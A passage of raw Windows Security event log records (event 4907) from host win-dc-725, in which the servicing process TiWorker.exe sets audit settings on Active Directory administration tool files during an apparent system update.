Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247471
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\en-US\dssite.msc
	Handle ID:	0x5b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247470
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\en-US\dsrm.exe.mui
	Handle ID:	0x6f8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247469
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\en-US\dsquery.exe.mui
	Handle ID:	0xb08

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247468
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\en-US\dsmove.exe.mui
	Handle ID:	0x5dc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247467
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\en-US\dsmod.exe.mui
	Handle ID:	0x5b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247466
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\en-US\dsmgmt.exe.mui
	Handle ID:	0x6f8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247465
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\en-US\dsget.exe.mui
	Handle ID:	0xb08

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247464
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\en-US\dsdbutil.exe.mui
	Handle ID:	0x5dc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247463
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\en-US\dsadmin.dll.mui
	Handle ID:	0x5b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247462
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\en-US\dsadd.exe.mui
	Handle ID:	0x6f8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247461
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\en-US\dsacls.exe.mui
	Handle ID:	0xb08

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247460
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\en-US\dsa.msc
	Handle ID:	0x5dc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247459
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\en-US\domain.msc
	Handle ID:	0x5b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247458
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\en-US\domadmin.dll.mui
	Handle ID:	0x6f8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247457
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\en-US\dcpromoui.dll.mui
	Handle ID:	0xb08

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247456
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\en-US\dcpromocmd.dll.mui
	Handle ID:	0x5dc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247455
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\en-US\dcdiag.exe.mui
	Handle ID:	0x5b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247454
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\en-US\csvde.exe.mui
	Handle ID:	0x6f8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247453
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\en-US\adsiedit.msc
	Handle ID:	0xb08

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247452
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\en-US\adsiedit.dll.mui
	Handle ID:	0x5dc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247451
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\en-US\adprop.dll.mui
	Handle ID:	0x5b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247450
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\schmmgmt.dll
	Handle ID:	0x6f8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247449
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\repadmin.exe
	Handle ID:	0xb08

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247448
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\rendom.exe
	Handle ID:	0x5dc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247447
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\redirusr.exe
	Handle ID:	0x5b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247446
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\redircmp.exe
	Handle ID:	0x6f8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247445
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\ntfrsapi.dll
	Handle ID:	0xb08

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247444
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\ntdsutil.exe
	Handle ID:	0x5dc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247443
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\ldp.exe
	Handle ID:	0x5b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247442
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\ldifde.exe
	Handle ID:	0x6f8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247441
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\gpfixup.exe
	Handle ID:	0xb08

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247440
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\dsuiwiz.dll
	Handle ID:	0x5dc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247439
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\dssite.msc
	Handle ID:	0x5b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247438
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
